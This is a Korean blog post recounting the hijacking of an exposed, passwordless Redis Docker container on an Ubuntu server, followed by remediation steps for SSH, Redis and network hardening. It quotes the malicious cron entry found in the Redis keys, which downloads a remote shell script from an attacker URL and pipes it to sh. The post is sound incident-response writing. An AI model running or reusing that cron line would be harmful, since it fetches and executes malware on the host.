이슈 해결

[서버 / 해킹] Redis 악성 코드 삽입(backup1~4) 및 해킹 대응

cob 2025. 6. 21. 21:44

[서버 운영 환경]

  • 운온프레미스 (On-premise) 자가 구축 환경
  • Ubuntu Linux (24.04.2 LTS)
  • Docker Compose 이용하여 컨테이너 구성 관리

 

 

1. Issue

Redis 도커 컨테이너에서 수상한 키(backup1~4) 발견.
내용 중 [http://natalstatus.org/ep9TS2/ndt.sh] 쉘 스크립트를 실행하는 크론잡 명령어가 저장되어 있었고, 이는 외부 악성 스크립트를 주기적으로 실행하는 형태로 의심됨, 또한 서버 sshd 접속 기록을 조회한 결과, root 계정으로 외부 IP (183.223.32.168)에서 직접 접속된 흔적이 발견

 

[Redis]

// Redis에서 전체 key 조회
$ keys * 
backup1
backup2
backup3
backup4

// key 내용 조회
$ GET backup1
"\n\n\n*/2 * * * * root cd1 -fsSL http://natalstatus.org/ep9TS2/ndt.sh | sh\n\n"

 

 

[접속자 확인]

악성코드

누구냐넌...

 

 

해당 악성 코드에 대한 자세한 내용은 아래 링크에서 확인 가능

http://www.forensic-artifacts.com/osint-analysis/cri12

 

디지털 포렌식 아티팩트 & 증거 분석 기법 공유 | 인섹시큐리티

Redis 서버 해킹 사례 Key, Value 구조의 비정형 데이터를 저장하고 관리하기 위한 비관계형 데이터베이스 시스템 NoSQL 기반으로 별도의 쿼리 없이 Key 값을 통해 빠르게 데이터를 가져올 수 있음 디

www.forensic-artifacts.com

 

 

2. Problem

  • Redis 포트 외부 노출 (Docker의 자동 포트 바인딩)
  • Redis 패스워드 미설정
  • 공인 IP 직접 노출 구조
  • SSH 보안 설정 미강화

 

 

3. Solution

포맷 이후 보안 강화

 

🔐 1. SSH 보안 강화

Root 로그인 완전 차단 PermitRootLogin no 설정으로 root 계정 직접 로그인 차단
키 기반 인증만 허용 PasswordAuthentication no, ChallengeResponseAuthentication no, UsePAM no 설정으로 공개키 인증만 허용
로그인 시도 제한 ClientAliveInterval과 ClientAliveCountMax 조정으로 유휴 연결 제한 설정
로그 모니터링 SSH 로그 확인을 통해 침입자 IP 확인 및 추적 시도 수행
 

🧱 2. Redis 보안 설정 강화

비밀번호 인증 설정 requirepass 설정으로 Redis 접속 시 인증 필요하도록 구성
보호 모드 활성화 protected-mode yes 적용으로 외부 접속 차단 기본값 유지
불필요한 포트 제거 Docker Compose에서 ports: 6379:6379 제거 또는 127.0.0.1:6379로 제한
 

🌐 3. 네트워크 구조 변경 (공인 IP 노출 해소)

공유기 도입 기존 공인 IP 직결 구조 대신, 공유기를 도입하여 NAT 및 방화벽 구조로 전환
사설 IP 할당 서버에는 사설 IP만 할당되도록 구성하여 외부 노출 차단
포트포워딩 최소화 외부 서비스가 필요한 포트 하나만 포워딩하여 최소 개방 정책 적용
방화벽 설정 강화 공유기 및 서버의 방화벽(UFW 또는 iptables) 설정으로 비필요한 접근 차단

 

 

반응형